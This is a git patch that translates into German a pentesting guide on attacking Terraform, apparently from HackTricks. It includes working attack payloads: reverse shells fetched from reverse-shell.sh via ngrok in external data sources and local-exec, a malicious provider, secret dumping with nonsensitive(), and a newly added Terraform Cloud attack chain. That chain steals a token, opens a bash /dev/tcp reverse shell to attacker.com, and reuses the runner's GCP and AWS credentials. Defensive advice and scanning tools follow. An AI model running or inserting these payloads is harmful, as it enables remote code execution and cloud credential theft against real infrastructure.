From f64cd7d8fadfc58677bfb8810baf06006ae3b5ae Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 15:31:35 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/terraform-security.md'] to de --- src/pentesting-ci-cd/terraform-security.md | 120 +++++++++++++++++---- 1 file changed, 101 insertions(+), 19 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index e37d31439..a31b19bed 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -16,7 +16,7 @@ Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Di HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr. -Der Kern-Workflow von Terraform besteht aus drei Phasen: +Der grundlegende Terraform-Workflow besteht aus drei Phasen: - **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen. - **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird. @@ -34,7 +34,7 @@ Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/ Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** bereitstellt, den wir auflisten können. Daher ist der einzige Weg, Terraform zu kompromittieren, **in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern** oder **in der Lage zu sein, die Terraform-Zustandsdatei zu ändern** (siehe Kapitel unten). -Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktionieren kann. +Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert. Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da sie irgendwann **interpretiert** werden. @@ -52,9 +52,9 @@ Terraform-Plan ist der **am häufigsten verwendete Befehl** in Terraform, und En **Verwendung eines externen Anbieters** -Terraform bietet den [`external`-Anbieter](https://registry.terraform.io/providers/hashicorp/external/latest/docs), der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Sie können die `external`-Datenquelle verwenden, um willkürlichen Code während eines `plan` auszuführen. +Terraform bietet den [`external`-Anbieter](https://registry.terraform.io/providers/hashicorp/external/latest/docs), der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Sie können die `external`-Datenquelle verwenden, um willkürlichen Code während eines `plans` auszuführen. -Wenn Sie in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizieren, wird beim Ausführen von `terraform plan` eine Reverse-Shell ausgeführt: +Wenn Sie in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizieren, wird eine Reverse-Shell ausgeführt, wenn Sie `terraform plan` ausführen: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Verwendung eines benutzerdefinierten Anbieters** -Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Registry](https://registry.terraform.io/) senden und ihn dann zum Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)): +Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Registry](https://registry.terraform.io/) senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -77,7 +77,7 @@ provider "evil" {} ``` Der Anbieter wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird. -Sie finden ein Beispiel unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +Ein Beispiel finden Sie unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) **Verwendung eines externen Verweises** @@ -96,7 +96,7 @@ Sie können den rev shell Code in [https://github.com/carlospolop/terraform_exte ### Terraform Apply Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizieren.**\ -Sie müssen nur sicherstellen, dass eine Nutzlast wie die folgenden im `main.tf`-Datei endet: +Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen. +Befolge die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen. ## Secrets Dumps -Sie können **geheime Werte, die von terraform verwendet werden, ausgeben**, indem Sie `terraform apply` ausführen und der Terraform-Datei etwas hinzufügen wie: +Du kannst **geheime Werte, die von terraform verwendet werden, ausgeben**, indem du `terraform apply` ausführst und etwas wie Folgendes zur Terraform-Datei hinzufügst: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -180,9 +180,9 @@ Da terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt. -### Ersetzen Sie den auf die schwarze Liste gesetzten Anbieter +### Ersetzen Sie den auf der Blacklist stehenden Anbieter -Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf die schwarze Liste gesetzt wurde, können Sie den `external`-Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen. +Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external`-Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen. ```terraform terraform { required_providers { @@ -199,6 +199,80 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` +## Terraform Cloud spekulativer Plan RCE und Credential Exfiltration + +Dieses Szenario missbraucht Terraform Cloud (TFC) Runner während spekulativer Pläne, um in das Ziel-Cloud-Konto zu pivotieren. + +- Voraussetzungen: +- Stehlen Sie ein Terraform Cloud-Token von einem Entwicklerrechner. Die CLI speichert Tokens im Klartext unter `~/.terraform.d/credentials.tfrc.json`. +- Das Token muss Zugriff auf die Zielorganisation/-arbeitsbereich haben und mindestens die Berechtigung `plan`. VCS-unterstützte Arbeitsbereiche blockieren `apply` von der CLI, erlauben jedoch weiterhin spekulative Pläne. + +- Entdecken Sie die Arbeitsbereichs- und VCS-Einstellungen über die TFC-API: +```bash +export TF_TOKEN= +curl -s -H "Authorization: Bearer $TF_TOKEN" \ +https://app.terraform.io/api/v2/organizations//workspaces/ | jq +``` +- Triggern Sie die Codeausführung während eines spekulativen Plans unter Verwendung der externen Datenquelle und des Terraform Cloud "cloud" Blocks, um den VCS-unterstützten Arbeitsbereich anzusprechen: +```hcl +terraform { +cloud { +organization = "acmecorp" +workspaces { name = "gcp-infra-prod" } +} +} + +data "external" "exec" { +program = ["bash", "./rsync.sh"] +} +``` +Beispiel rsync.sh, um eine Reverse-Shell auf dem TFC-Runner zu erhalten: +```bash +#!/usr/bin/env bash +bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' +``` +Führen Sie einen spekulativen Plan aus, um das Programm auf dem temporären Runner auszuführen: +```bash +terraform init +terraform plan +``` +- Enumerieren und exfiltrieren Sie injizierte Cloud-Anmeldeinformationen vom Runner. Während der Ausführungen injiziert TFC Anbieteranmeldeinformationen über Dateien und Umgebungsvariablen: +```bash +env | grep -i gcp || true +env | grep -i aws || true +``` +Erwartete Dateien im Arbeitsverzeichnis des Runners: +- GCP: +- `tfc-google-application-credentials` (JSON-Konfiguration für Workload Identity Federation) +- `tfc-gcp-token` (kurzlebiger GCP-Zugriffstoken) +- AWS: +- `tfc-aws-shared-config` (Konfiguration für Web-Identität/OIDC-Rollenübernahme) +- `tfc-aws-token` (kurzlebiger Token; einige Organisationen verwenden möglicherweise statische Schlüssel) + +- Verwenden Sie die kurzlebigen Anmeldeinformationen außerhalb des Bandes, um VCS-Gates zu umgehen: + +GCP (gcloud): +```bash +export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials +gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" +gcloud config set project +``` +AWS (AWS CLI): +```bash +export AWS_CONFIG_FILE=./tfc-aws-shared-config +export AWS_PROFILE=default +aws sts get-caller-identity +``` +Mit diesen Anmeldeinformationen können Angreifer Ressourcen direkt mit nativen CLIs erstellen, ändern oder löschen und dabei PR-basierte Workflows umgehen, die `apply` über VCS blockieren. + +- Defensive Anleitung: +- Wenden Sie das Prinzip der geringsten Privilegien auf TFC-Benutzer/Teams und Tokens an. Überprüfen Sie Mitgliedschaften und vermeiden Sie übergroße Eigentümer. +- Beschränken Sie die `plan`-Berechtigung in sensiblen VCS-unterstützten Workspaces, wo dies möglich ist. +- Erzwingen Sie Provider/Datenquellen-Whitelist mit Sentinel-Richtlinien, um `data "external"` oder unbekannte Provider zu blockieren. Siehe HashiCorp-Anleitung zur Providerfilterung. +- Bevorzugen Sie OIDC/WIF gegenüber statischen Cloud-Anmeldeinformationen; behandeln Sie Runner als sensibel. Überwachen Sie spekulative Planläufe und unerwarteten Datenverkehr. +- Erkennen Sie die Exfiltration von `tfc-*` Anmeldeinformationen und alarmieren Sie bei verdächtiger Nutzung von `external`-Programmen während der Pläne. + + ## Automatische Audit-Tools ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) @@ -221,9 +295,9 @@ snyk iac test /path/to/terraform/code **Checkov** ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und auch ein Software Composition Analysis (SCA) Tool für Images und Open-Source-Pakete. -Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io/) bereitgestellt wurde, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) oder [OpenTofu](https://opentofu.org/) und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe von graphbasiertem Scanning. +Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io/) bereitgestellt wurde, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) oder [OpenTofu](https://opentofu.org/) bereitgestellt wurde und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe von graphbasiertem Scanning. -Es führt [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) durch, das ein Scan von Open-Source-Paketen und Images auf Common Vulnerabilities and Exposures (CVEs) ist. +Es führt [Software Composition Analysis (SCA) Scans](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) durch, die einen Scan von Open-Source-Paketen und Images auf Common Vulnerabilities and Exposures (CVEs) darstellen. ```bash pip install checkov checkov -d /path/to/folder @@ -234,9 +308,9 @@ Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-comp - **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht. - **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC? -- **portable:** Installieren Sie es einfach über `pip` oder führen Sie es über `docker` aus. Siehe [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** Es validiert Ihren Code, bevor er bereitgestellt wird. -- **easy to integrate:** Es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden. +- **portable:** einfach von `pip` installieren oder über `docker` ausführen. Siehe [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** es validiert Ihren Code, bevor er bereitgestellt wird. +- **easy to integrate:** es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden. - **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist. > [!NOTE] @@ -248,7 +322,7 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Von den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen. +Aus den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen. - ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern - ⛔ Hunderte von integrierten Regeln @@ -278,10 +352,10 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen: - Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen. -- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Lage. +- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die zu einer Abweichung der Sicherheitslage führen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage. - Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen. - Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird. -- Bietet Flexibilität, lokal zu laufen oder in Ihre CI\CD zu integrieren. +- Bietet Flexibilität, lokal zu arbeiten oder in Ihre CI\CD zu integrieren. ```bash brew install terrascan ``` @@ -292,5 +366,13 @@ brew install terrascan - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) +- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) +- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) +- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) +- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}